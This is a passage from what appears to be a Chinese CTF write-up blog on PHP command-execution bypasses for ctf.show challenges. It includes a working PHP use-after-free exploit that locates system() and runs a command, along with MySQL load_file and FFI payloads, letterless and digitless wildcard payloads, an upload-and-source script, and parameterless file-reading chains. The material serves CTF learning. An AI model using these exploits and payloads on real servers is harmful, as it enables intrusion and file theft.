&nbsp; &nbsp; &nbsp;  }<br>\u200b<br> &nbsp; &nbsp; &nbsp;  if(!$data_addr || !$text_size || !$data_size)<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  return false;<br>\u200b<br> &nbsp; &nbsp; &nbsp;  return &#91;$data_addr, $text_size, $data_size];<br> &nbsp;  }<br>\u200b<br> &nbsp;  function get_basic_funcs($base, $elf) {<br> &nbsp; &nbsp; &nbsp;  list($data_addr, $text_size, $data_size) = $elf;<br> &nbsp; &nbsp; &nbsp;  for($i = 0; $i &lt; $data_size \/ 8; $i++) {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $leak = leak($data_addr, $i * 8);<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  if($leak - $base &gt; 0 &amp;&amp; $leak - $base &lt; $data_addr - $base) {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $deref = leak($leak);<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  if($deref != 0x746e6174736e6f63)<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  continue;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  } else continue;<br>\u200b<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $leak = leak($data_addr, ($i + 4) * 8);<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  if($leak - $base &gt; 0 &amp;&amp; $leak - $base &lt; $data_addr - $base) {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $deref = leak($leak);<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  if($deref != 0x786568326e6962)<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  continue;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  } else continue;<br>\u200b<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  return $data_addr + $i * 8;<br> &nbsp; &nbsp; &nbsp;  }<br> &nbsp;  }<br>\u200b<br> &nbsp;  function get_binary_base($binary_leak) {<br> &nbsp; &nbsp; &nbsp;  $base = 0;<br> &nbsp; &nbsp; &nbsp;  $start = $binary_leak &amp; 0xfffffffffffff000;<br> &nbsp; &nbsp; &nbsp;  for($i = 0; $i &lt; 0x1000; $i++) {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $addr = $start - 0x1000 * $i;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $leak = leak($addr, 0, 7);<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  if($leak == 0x10102464c457f) {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  return $addr;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  }<br> &nbsp; &nbsp; &nbsp;  }<br> &nbsp;  }<br>\u200b<br> &nbsp;  function get_system($basic_funcs) {<br> &nbsp; &nbsp; &nbsp;  $addr = $basic_funcs;<br> &nbsp; &nbsp; &nbsp;  do {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $f_entry = leak($addr);<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $f_name = leak($f_entry, 0, 6);<br>\u200b<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  if($f_name == 0x6d6574737973) {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  return leak($addr + 8);<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  }<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $addr += 0x20;<br> &nbsp; &nbsp; &nbsp;  } while($f_entry != 0);<br> &nbsp; &nbsp; &nbsp;  return false;<br> &nbsp;  }<br>\u200b<br> &nbsp;  function trigger_uaf($arg) {<br>\u200b<br> &nbsp; &nbsp; &nbsp;  $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');<br> &nbsp; &nbsp; &nbsp;  $vuln = new Vuln();<br> &nbsp; &nbsp; &nbsp;  $vuln-&gt;a = $arg;<br> &nbsp;  }<br>\u200b<br> &nbsp;  if(stristr(PHP_OS, 'WIN')) {<br> &nbsp; &nbsp; &nbsp;  die('This PoC is for *nix systems only.');<br> &nbsp;  }<br>\u200b<br> &nbsp;  $n_alloc = 10; <br> &nbsp;  $contiguous = &#91;];<br> &nbsp;  for($i = 0; $i &lt; $n_alloc; $i++)<br> &nbsp; &nbsp; &nbsp;  $contiguous&#91;] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');<br>\u200b<br> &nbsp;  trigger_uaf('x');<br> &nbsp;  $abc = $backtrace&#91;1]&#91;'args']&#91;0];<br>\u200b<br> &nbsp;  $helper = new Helper;<br> &nbsp;  $helper-&gt;b = function ($x) { };<br>\u200b<br> &nbsp;  if(strlen($abc) == 79 || strlen($abc) == 0) {<br> &nbsp; &nbsp; &nbsp;  die(\"UAF failed\");<br> &nbsp;  }<br>\u200b<br> &nbsp;  $closure_handlers = str2ptr($abc, 0);<br> &nbsp;  $php_heap = str2ptr($abc, 0x58);<br> &nbsp;  $abc_addr = $php_heap - 0xc8;<br>\u200b<br> &nbsp;  write($abc, 0x60, 2);<br> &nbsp;  write($abc, 0x70, 6);<br>\u200b<br> &nbsp;  write($abc, 0x10, $abc_addr + 0x60);<br> &nbsp;  write($abc, 0x18, 0xa);<br>\u200b<br> &nbsp;  $closure_obj = str2ptr($abc, 0x20);<br>\u200b<br> &nbsp;  $binary_leak = leak($closure_handlers, 8);<br> &nbsp;  if(!($base = get_binary_base($binary_leak))) {<br> &nbsp; &nbsp; &nbsp;  die(\"Couldn't determine binary base address\");<br> &nbsp;  }<br>\u200b<br> &nbsp;  if(!($elf = parse_elf($base))) {<br> &nbsp; &nbsp; &nbsp;  die(\"Couldn't parse ELF header\");<br> &nbsp;  }<br>\u200b<br> &nbsp;  if(!($basic_funcs = get_basic_funcs($base, $elf))) {<br> &nbsp; &nbsp; &nbsp;  die(\"Couldn't get basic_functions address\");<br> &nbsp;  }<br>\u200b<br> &nbsp;  if(!($zif_system = get_system($basic_funcs))) {<br> &nbsp; &nbsp; &nbsp;  die(\"Couldn't get zif_system address\");<br> &nbsp;  }<br>\u200b<br>\u200b<br> &nbsp;  $fake_obj_offset = 0xd0;<br> &nbsp;  for($i = 0; $i &lt; 0x110; $i += 8) {<br> &nbsp; &nbsp; &nbsp;  write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));<br> &nbsp;  }<br>\u200b<br> &nbsp;  write($abc, 0x20, $abc_addr + $fake_obj_offset);<br> &nbsp;  write($abc, 0xd0 + 0x38, 1, 4); <br> &nbsp;  write($abc, 0xd0 + 0x68, $zif_system); <br>\u200b<br> &nbsp;  ($helper-&gt;b)($cmd);<br> &nbsp;  exit();<br>}<br>\u200b<br>ctfshow(\"cat \/flag0.txt\");ob_end_flush();<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>\u5229\u7528mysql load_file\u8bfb\u6587\u4ef6 &nbsp; \/\/\u8fc775,76<br>c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',<br>'root');foreach($dbh-&gt;query('select load_file(\"\/flag36.txt\")') as $row)<br>{echo($row&#91;0]).\"|\"; }$dbh = null;}catch (PDOException $e) {echo $e-<br>&gt;getMessage();exit(0);}exit(0);<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>\u901a\u8fc7FFI\uff087.4\u7248\u672c\uff09 &nbsp; \/\/\u8fc777<br>c=$ffi = FFI::cdef(\"int system(char *command);\", \"libc.so.6\");$a='\/readflag &gt; xxx.txt';$ffi- &nbsp; &gt;system($a);exit(); &nbsp; \/\/\u8bbf\u95eexxx.txt<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u65e0\u5b57\u6bcd\u6570\u5b57<\/h2>\n\n\n\n<p>\u65e0\u5b57\u6bcd\u6570\u5b57\u8fdb\u884cwebshell\u7684\u4ee3\u7801\u5927\u81f4\u5982\u6b64<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php<br>if(!preg_match('\/&#91;a-z0-9]\/is',$_GET&#91;'shell'])) {<br> &nbsp;eval($_GET&#91;'shell']);<br>}<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">base64\u7684\u8fd0\u7528<\/h3>\n\n\n\n<p>\u6211\u4eec\u5c31\u53ef\u4ee5\u901a\u8fc7\u901a\u914d\u7b26\u8fdb\u884c\u5339\u914d\u547d\u4ee4\u6267\u884c\u67e5\u770bflag.php<\/p>\n\n\n\n<p>payload\uff1a<code>?c=\/???\/????64%20????.???<\/code><\/p>\n\n\n\n<p>\u610f\u601d\u662f <code>\/bin\/base64 flag.php<\/code><\/p>\n\n\n\n<blockquote class=\"wp-block-quote\"><p><strong>bin\u76ee\u5f55:<\/strong><\/p><p>bin\u4e3abinary\u7684\u7b80\u5199\u4e3b\u8981\u653e\u7f6e\u4e00\u4e9b\u7cfb\u7edf\u7684\u5fc5\u5907\u6267\u884c\u6863\u4f8b\u5982:cat\u3001cp\u3001chmod df\u3001dmesg\u3001gzip\u3001kill\u3001ls\u3001mkdir\u3001more\u3001mount\u3001rm\u3001su\u3001tar\u3001base64\u7b49<\/p><\/blockquote>\n\n\n\n<h3 class=\"wp-block-heading\">bzip2\u7684\u4f7f\u7528<\/h3>\n\n\n\n<p>bzip2\u662flinux\u4e0b\u9762\u7684\u538b\u7f29\u6587\u4ef6\u7684\u547d\u4ee4<\/p>\n\n\n\n<p>\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u8be5\u547d\u4ee4\u538b\u7f29flag.php \u7136\u540e\u8fdb\u884c\u4e0b\u8f7d<\/p>\n\n\n\n<p>payload\uff1a<code>?c=\/???\/???\/????2%20????.???<\/code><\/p>\n\n\n\n<p>\u4e5f\u5c31\u662f<code>\/usr\/bin\/bzip2 flag.php<\/code><\/p>\n\n\n\n<p>\u7136\u540e\u8bbf\u95ee\/flag.php.bz2\u8fdb\u884c\u4e0b\u8f7d\u83b7\u5f97flag.php<\/p>\n\n\n\n<blockquote class=\"wp-block-quote\"><p><strong>\/usr\/bin\u76ee\u5f55:<\/strong><\/p><p>\u4e3b\u8981\u653e\u7f6e\u4e00\u4e9b\u5e94\u7528\u8f6f\u4ef6\u5de5\u5177\u7684\u5fc5\u5907\u6267\u884c\u6863\u4f8b\u5982c++\u3001g++\u3001gcc\u3001chdrv\u3001diff\u3001dig\u3001du\u3001eject\u3001elm\u3001free\u3001gnome<em>\u3001 zip\u3001htpasswd\u3001kfm\u3001ktop\u3001last\u3001less\u3001locale\u3001m4\u3001make\u3001man\u3001mcopy\u3001ncftp\u3001 newaliases\u3001nslookup passwd\u3001quota\u3001smb<\/em>\u3001wget\u7b49\u3002<\/p><\/blockquote>\n\n\n\n<h3 class=\"wp-block-heading\">\u4e0a\u4f20\u6587\u4ef6<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">\u6784\u9020POST\u4e0a\u4f20HTML<\/h4>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;!DOCTYPE html&gt;<br>&lt;html lang=\"en\"&gt;<br>&lt;head&gt;<br> &nbsp; &nbsp;&lt;meta charset=\"UTF-8\"&gt;<br> &nbsp; &nbsp;&lt;meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\"&gt;<br> &nbsp; &nbsp;&lt;title&gt;POST\u6570\u636e\u5305POC&lt;\/title&gt;<br>&lt;\/head&gt;<br>&lt;body&gt;<br>&lt;form action=\"http:\/\/46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show\/\" method=\"post\" enctype=\"multipart\/form-data\"&gt;<br>&lt;!--\u94fe\u63a5\u662f\u5f53\u524d\u6253\u5f00\u7684\u9898\u76ee\u94fe\u63a5--&gt;<br> &nbsp; &nbsp;&lt;label for=\"file\"&gt;\u6587\u4ef6\u540d\uff1a&lt;\/label&gt;<br> &nbsp; &nbsp;&lt;input type=\"file\" name=\"file\" id=\"file\"&gt;&lt;br&gt;<br> &nbsp; &nbsp;&lt;input type=\"submit\" name=\"submit\" value=\"\u63d0\u4ea4\"&gt;<br>&lt;\/form&gt;<br>&lt;\/body&gt;<br>&lt;\/html&gt;<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">\u6784\u9020poc\u6267\u884c\u547d\u4ee4<\/h4>\n\n\n\n<p><code>?c=.%20\/???\/????????[@-[]<\/code><\/p>\n\n\n\n<p>\u6ce8\uff1a\u540e\u9762\u7684<code>[@-[]<\/code>\u662flinux\u4e0b\u9762\u7684\u5339\u914d\u7b26\uff0c\u662f\u8fdb\u884c\u5339\u914d\u7684\u5927\u5199\u5b57\u6bcd\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/img-blog.csdnimg.cn\/20200910145421442.png?x-oss-process=image\/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ2MDkxNDY0,size_16,color_FFFFFF,t_70#pic_center'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/img-blog.csdnimg.cn\/20200910145421442.png?x-oss-process=image\/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ2MDkxNDY0,size_16,color_FFFFFF,t_70#pic_center\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"\/><\/div><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\">\u5728\u4e0a\u4f20\u6587\u4ef6\u5185\u5bb9\u6dfb\u52a0sh\u547d\u4ee4<\/h4>\n\n\n\n<pre class=\"wp-block-code\"><code>#!\/bin\/sh<br>ls<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/img-blog.csdnimg.cn\/20200910150012713.png?x-oss-process=image\/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ2MDkxNDY0,size_16,color_FFFFFF,t_70#pic_center'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/img-blog.csdnimg.cn\/20200910150012713.png?x-oss-process=image\/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ2MDkxNDY0,size_16,color_FFFFFF,t_70#pic_center\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"\/><\/div><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\">\u76f4\u63a5\u8bfbflag<\/h4>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/img-blog.csdnimg.cn\/20200910150126649.png?x-oss-process=image\/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ2MDkxNDY0,size_16,color_FFFFFF,t_70#pic_center'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/img-blog.csdnimg.cn\/20200910150126649.png?x-oss-process=image\/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ2MDkxNDY0,size_16,color_FFFFFF,t_70#pic_center\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"\/><\/div><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\">\u811a\u672c<\/h4>\n\n\n\n<p>\u4e0d\u77e5\u4e3a\u5565\u6211\u7684bp\u56de\u663e\u4e0d\u4e86\uff0c\u811a\u672c\u53ef\u4ee5\u8dd1\u5f97\u51fa\u6765<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import requests\n\nwhile True:\n    url = \"http:\/\/892794e2-cc99-4c50-89de-4e6a70539f17.challenge.ctf.show:8080\/?c=.+\/???\/????????&#91;@-&#91;]\"\n    r = requests.post(url, files={\"file\": ('1.php', b'cat flag.php')})\n    if r.text.find(\"flag\") &gt;0:\n        print(r.text)\n        break\n<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u65e0\u6570\u5b57\u5b57\u6bcd\u6784\u9020\u6570\u5b57<\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/flag in 36.php\nif(isset($_GET&#91;'c'])){\n    $c=$_GET&#91;'c'];\n    if(!preg_match(\"\/\\;|&#91;a-z]|&#91;0-9]|\\`|\\|\\#|\\'|\\\"|\\`|\\%|\\x09|\\x26|\\x0a|\\&gt;|\\&lt;|\\.|\\,|\\?|\\*|\\-|\\=|\\&#91;\/i\", $c)){\n        system(\"cat \".$c.\".php\");\n    }\n}<\/code><\/pre>\n\n\n\n<p>\u63d0\u793a\u4e86\u6211\u4eecflag\u572836.php\u91cc\uff0c\u5e76\u4e14?\u88ab\u5c4f\u853d\u4e86\uff0c\u4e0d\u80fd\u4f7f\u7528\u65e0\u6570\u5b57\u5b57\u6bcdwebshell<\/p>\n\n\n\n<p>\u53ea\u80fd\u6784\u902036\u4e86<\/p>\n\n\n\n<p><strong>\u5982\u679c\u5bf9\u53d6\u53cd\u4e0d\u4e86\u89e3\u53ef\u4ee5\u767e\u5ea6\u4e00\u4e0b\uff0c\u8fd9\u91cc\u7ed9\u4e2a\u5bb9\u6613\u8bb0\u5f97\u5f0f\u5b50\uff0c\u5982\u679c\u5bf9a\u6309\u4f4d\u53d6\u53cd\uff0c\u5219\u5f97\u5230\u7684\u7ed3\u679c\u4e3a-(a+1)\uff0c\u4e5f\u5c31\u662f\u5bf90\u53d6\u53cd\u5f97\u5230-1<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">$(()) \u4ee3\u8868\u505a\u4e00\u6b21\u8fd0\u7b97\uff0c\u56e0\u4e3a\u91cc\u9762\u4e3a\u7a7a\uff0c\u4e5f\u8868\u793a\u503c\u4e3a0\n$((~$(()))) \u5bf90\u4f5c\u53d6\u53cd\u8fd0\u7b97\uff0c\u503c\u4e3a-1\n$(($((~$(())))$((~$(()))))) -1-1\uff0c\u4e5f\u5c31\u662f(-1)+(-1)\u4e3a-2\uff0c\u6240\u4ee5\u503c\u4e3a-2\n$((~$(($((~$(())))$((~$(()))))))) \u518d\u5bf9-2\u505a\u4e00\u6b21\u53d6\u53cd\u5f97\u52301\uff0c\u6240\u4ee5\u503c\u4e3a1<\/pre>\n\n\n\n<p>\u6839\u636e\u5f0f\u5b50\uff0c\u6211\u4eec\u53ea\u9700\u8981\u6784\u9020-37\uff0c\u518d\u53d6\u53cd\u5373\u53ef<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">$((     $((~$(())))    $((~$(())))   $((~$(())))   ))   (\u4e2d\u95f437\u4e2a) -37\n$((~    $(($((~$(())))$((~$(())))))  ))    \u5916\u9762\u53d6\u53cd\u5f9736<\/pre>\n\n\n\n<p>payload<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))<\/pre>\n\n\n\n<p>\u67e5\u770b\u6e90\u7801\u5f97flag<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u65e0\u53c2\u6570RCE<\/h2>\n\n\n\n<p>\u65e0\u53c2\u6570\uff0c\u987e\u540d\u601d\u4e49\uff0c\u5c31\u662f\u53ea\u4f7f\u7528\u51fd\u6570\uff0c\u4e14\u51fd\u6570\u4e0d\u80fd\u5e26\u6709\u53c2\u6570\uff0c\u53ef\u4ee5\u662fa()\u3001a(b())\u6216a(b(c()))\uff0c\u4f46\u4e0d\u80fd\u662fa(&#8216;b&#8217;)\u6216a(&#8216;b&#8217;,&#8217;c&#8217;)\uff0c<strong>\u4e0d\u80fd\u5e26\u53c2\u6570<\/strong><\/p>\n\n\n\n<p>\u6b63\u5e38\u7684\uff0cprint_r(scandir(&#8216;.&#8217;));\u53ef\u4ee5\u7528\u6765\u67e5\u770b\u5f53\u524d\u76ee\u5f55\u6240\u6709\u6587\u4ef6\u540d<\/p>\n\n\n\n<p>\u4f46\u662f\u6211\u4eec\u8fd9\u91cc\u8bf4\u7684\u662f\u8981\u6784\u9020\u65e0\u53c2\u6570\u7684\u51fd\u6570\uff0c\u6240\u4ee5\u6211\u4eec\u8981\u505a\u7684\u5c31\u662f\u53bb\u6389\u8fd9\u4e2a\u70b9\u53f7<\/p>\n\n\n\n<ul><li>localeconv() \u51fd\u6570\u8fd4\u56de\u4e00\u5305\u542b\u672c\u5730\u6570\u5b57\u53ca\u8d27\u5e01\u683c\u5f0f\u4fe1\u606f\u7684\u6570\u7ec4\u3002<\/li><li>current() \u51fd\u6570\u8fd4\u56de\u6570\u7ec4\u4e2d\u7684\u5f53\u524d\u5143\u7d20\uff08\u5355\u5143\uff09,\u9ed8\u8ba4\u53d6\u7b2c\u4e00\u4e2a\u503c\uff0c<\/li><li>pos() \u540c current() ,\u662fcurrent()\u7684\u522b\u540d<\/li><li>reset() \u51fd\u6570\u8fd4\u56de\u6570\u7ec4\u7b2c\u4e00\u4e2a\u5355\u5143\u7684\u503c\uff0c\u5982\u679c\u6570\u7ec4\u4e3a\u7a7a\u5219\u8fd4\u56de FALSE<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">\u6253\u5370\u5f53\u524d\u76ee\u5f55\u4e0b\u6587\u4ef6<\/h3>\n\n\n\n<p>localeconv()\u51fd\u6570\uff0c\u8fd4\u56de\u6570\u7ec4\u7684\u7b2c\u4e00\u9879\u5c31\u662f\u5c0f\u6570\u70b9<\/p>\n\n\n\n<p>\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u8bfb\u53d6\u8be5\u5c0f\u6570\u70b9\u4ee3\u66ffprint_r(scandir(&#8216;.&#8217;))\u4e2d\u7684\u5c0f\u6570\u70b9 \uff0c\u8bfb\u53d6\u6570\u7ec4\u7b2c\u4e00\u9879\u53ef\u4ee5\u7684\u51fd\u6570\u6709current()\u3001pos() \u3001reset()<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>print_r(scandir(current(localeconv())));\nprint_r(scandir(pos(localeconv())));\nprint_r(scandir(reset(localeconv())));<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u67e5\u770b\u4e0a\u4e00\u7ea7\u76ee\u5f55<\/h3>\n\n\n\n<p>\u518d\u4ecb\u7ecd\u51e0\u4e2a\u76ee\u5f55<\/p>\n\n\n\n<ul><li>dirname() \uff1a\u8fd4\u56de\u8def\u5f84\u4e2d\u7684\u76ee\u5f55\u90e8\u5206<\/li><li>chdir() \uff1a\u6539\u53d8\u5f53\u524d\u5de5\u4f5c\u76ee\u5f55<\/li><li><\/li><\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>print_r(scandir(dirname(getcwd()))); \/\/\u67e5\u770b\u4e0a\u4e00\u7ea7\u76ee\u5f55\u7684\u6587\u4ef6\nprint_r(scandir(next(scandir(getcwd()))));\/\/\u4e5f\u53ef\u67e5\u770b\u4e0a\u7ea7\u76ee\u5f55\u6587\u4ef6\nprint_r(scandir(chr(ord(strrev(crypt(serialize(array()))))))); \/\/\u67e5\u770b\u6839\u76ee\u5f55\u6587\u4ef6<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u8bfb\u53d6\u6587\u4ef6<\/h3>\n\n\n\n<ul><li>each() \u8fd4\u56de\u6570\u7ec4\u4e2d\u5f53\u524d\u7684\u952e\/\u503c\u5bf9\u5e76\u5c06\u6570\u7ec4\u6307\u9488\u5411\u524d\u79fb\u52a8\u4e00\u6b65<\/li><li>end() \u5c06\u6570\u7ec4\u7684\u5185\u90e8\u6307\u9488\u6307\u5411\u6700\u540e\u4e00\u4e2a\u5355\u5143<\/li><li>next() \u5c06\u6570\u7ec4\u4e2d\u7684\u5185\u90e8\u6307\u9488\u5411\u524d\u79fb\u52a8\u4e00\u4f4d<\/li><li>prev() \u5c06\u6570\u7ec4\u4e2d\u7684\u5185\u90e8\u6307\u9488\u5012\u56de\u4e00\u4f4d<\/li><li>array_reverse() \u4ee5\u76f8\u53cd\u7684\u5143\u7d20\u987a\u5e8f\u8fd4\u56de\u6570\u7ec4<\/li><li><\/li><\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>show_source(end(scandir(getcwd()))); \/\/\u83b7\u53d6\u7684\u6570\u7ec4\u662f\u6700\u540e\u4e00\u4e2a\nshow_source(next(array_reverse(scandir(getcwd())))); \/\/\u83b7\u53d6\u6570\u7ec4\u5012\u6570\u7b2c\u4e8c\u4e2a\nhighlight_file(next(array_reverse(scandir(pos(localeconv()))))); \/\/\u83b7\u53d6\u6570\u7ec4\u5012\u6570\u7b2c\u4e8c\u4e2a\nshow_source(array_rand(array_flip(scandir(getcwd())))); \/\/\u968f\u673a\u8fd4\u56de\u4e00\u4e2a\u6570\u7ec4<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">RCE<\/h3>\n\n\n\n<h2 class=\"wp-block-heading\">\/dev\/null 2&gt;&amp;1<\/h2>\n\n\n\n<p><strong>\u53ef\u4ee5\u5c06\/dev\/null\u770b\u4f5c&#8221;\u9ed1\u6d1e&#8221;. \u5b83\u975e\u5e38\u7b49\u4ef7\u4e8e\u4e00\u4e2a\u53ea\u5199\u6587\u4ef6. \u6240\u6709\u5199\u5165\u5b83\u7684\u5185\u5bb9\u90fd\u4f1a\u6c38\u8fdc\u4e22\u5931. \u800c\u5c1d\u8bd5\u4ece\u5b83\u90a3\u513f\u8bfb\u53d6\u5185\u5bb9\u5219\u4ec0\u4e48\u4e5f\u8bfb\u4e0d\u5230. \u7136\u800c, \/dev\/null\u5bf9\u547d\u4ee4\u884c\u548c\u811a\u672c\u90fd\u975e\u5e38\u7684\u6709\u7528.<\/strong><\/p>\n\n\n\n<h3 